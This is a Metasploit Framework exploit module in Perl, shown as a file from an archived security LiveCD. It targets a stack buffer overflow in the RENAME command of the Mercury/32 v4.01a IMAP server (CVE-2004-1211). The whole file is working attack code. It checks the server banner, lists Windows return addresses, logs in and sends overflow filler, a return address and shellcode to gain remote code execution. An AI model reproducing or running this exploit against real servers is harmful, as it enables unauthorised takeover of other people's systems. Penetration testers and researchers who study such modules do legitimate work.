home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / mercury_imap.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  165 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::mercury_imap;
  11. use strict;
  12. use base 'Msf::Exploit';
  13. use Msf::Socket::Tcp;
  14. use Pex::Text;
  15.  
  16. my $advanced = {
  17.   };
  18.  
  19. my $info = {
  20.     'Name'    => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
  21.     'Version'  => '$Revision: 1.3 $',
  22.     'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
  23.     'Arch'    => [ 'x86' ],
  24.     'OS'      => [ 'win32'],
  25.     'Priv'    => 1,
  26.  
  27.     'UserOpts'  =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 143],
  31.         'USER'  => [1, 'DATA', 'IMAP Username'],
  32.         'PASS'  => [1, 'DATA', 'IMAP Password'],
  33.       },
  34.  
  35.     'AutoOpts'  => { 'EXITFUNC'  => 'process' },
  36.     'Payload' =>
  37.       {
  38.         'Space'     => 500,
  39.         'BadChars'  => "\x00\x0a\x0d\x20",
  40.         'Prepend'   => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
  41.         'Keys'      => ['+ws2ord'],
  42.       },
  43.  
  44.     'Description'  => Pex::Text::Freeform(qq{
  45. Mercury/32 v4.01a IMAP server is prone to a remotely exploitable 
  46. stack-based buffer overflow vulnerability. This issue is due 
  47. to a failure of the application to properly bounds check 
  48. user-supplied data prior to copying it to a fixed size memory buffer.
  49. }),
  50.  
  51.     'Refs'  =>
  52.       [
  53.           ['OSVDB', '12508'],      
  54.         ['CVE','2004-1211'],
  55.         ['BID', '11775'],
  56.         ['NSS', '15867'],
  57.         ['MIL', '98'],
  58.       ],
  59.  
  60.     'Targets' =>
  61.       [
  62.         ['Windows 2000 SP4 English',   0x7c2f8498 ],
  63.         ['Windows 2000 SP4 English',   0x7846107b],
  64.         ['Windows XP Pro SP0 English', 0x77dc0df0 ],
  65.         ['Windows XP Pro SP1 English', 0x77e53877 ],
  66.       ],
  67.  
  68.     'Keys' => ['imap'],
  69.  
  70.     'DisclosureDate' => 'Nov 29 2004',
  71.   };
  72.  
  73. sub new {
  74.     my $class = shift;
  75.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  76.  
  77.     return($self);
  78. }
  79.  
  80. sub Check {
  81.     my ($self) = @_;
  82.     my $target_host = $self->GetVar('RHOST');
  83.     my $target_port = $self->GetVar('RPORT');
  84.  
  85.     my $s = Msf::Socket::Tcp->new
  86.       (
  87.         'PeerAddr'  => $target_host,
  88.         'PeerPort'  => $target_port,
  89.         'LocalPort' => $self->GetVar('CPORT'),
  90.         'SSL'       => $self->GetVar('SSL'),
  91.       );
  92.  
  93.     if ($s->IsError) {
  94.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  95.         return $self->CheckCode('Connect');
  96.     }
  97.  
  98.     $s->Send("a001 LOGOUT\r\n");
  99.     my $res = $s->Recv(-1, 20);
  100.     $s->Close();
  101.  
  102.     if ($res !~ /Mercury\/32 v4\.01a/) {
  103.         $self->PrintLine("[*] This server does not appear to be vulnerable.");
  104.         return $self->CheckCode('Safe');
  105.     }
  106.  
  107.     $self->PrintLine("[*] Vulnerable installation detected :-)");
  108.     return $self->CheckCode('Detected');
  109. }
  110.  
  111. sub Exploit {
  112.     my $self = shift;
  113.  
  114.     my $targetHost  = $self->GetVar('RHOST');
  115.     my $targetPort  = $self->GetVar('RPORT');
  116.     my $targetIndex = $self->GetVar('TARGET');
  117.     my $user        = $self->GetVar('USER');
  118.     my $pass        = $self->GetVar('PASS');
  119.     my $encodedPayload = $self->GetVar('EncodedPayload');
  120.     my $shellcode   = $encodedPayload->Payload;
  121.     my $target = $self->Targets->[$targetIndex];
  122.  
  123.     my $sock = Msf::Socket::Tcp->new(
  124.         'PeerAddr' => $targetHost,
  125.         'PeerPort' => $targetPort,
  126.       );
  127.  
  128.     if($sock->IsError) {
  129.         $self->PrintLine('Error creating socket: ' . $sock->GetError);
  130.         return;
  131.     }
  132.  
  133.     my $resp = $sock->Recv(-1);
  134.     chomp($resp);
  135.     $self->PrintLine('[*] Got Banner: ' . $resp);
  136.  
  137.     my $sploit = "a001 LOGIN $user $pass\r\n";
  138.     $sock->Send($sploit);
  139.     my $resp = $sock->Recv(-1);
  140.     if($sock->IsError) {
  141.         $self->PrintLine('Socket error: ' . $sock->GetError);
  142.         return;
  143.     }
  144.     if($resp !~ /^a001 OK LOGIN/) {
  145.         $self->PrintLine('Login error: ' . $resp);
  146.         return;
  147.     }
  148.     $self->PrintLine('[*] Logged in, sending overflow...');
  149.  
  150.     my $splat = Pex::Text::UpperCaseText(260);
  151.     $sploit =
  152.       "a001 RENAME ". $splat. pack('V', $target->[1]).
  153.       $shellcode. "\r\n";
  154.  
  155.     $sock->Send($sploit);
  156.  
  157.     my $resp = $sock->Recv(-1);
  158.     if(length($resp)) {
  159.         $self->PrintLine('[*] Got response, bad: ' . $resp);
  160.     }
  161.     return;
  162. }
  163.  
  164. 1;
  165.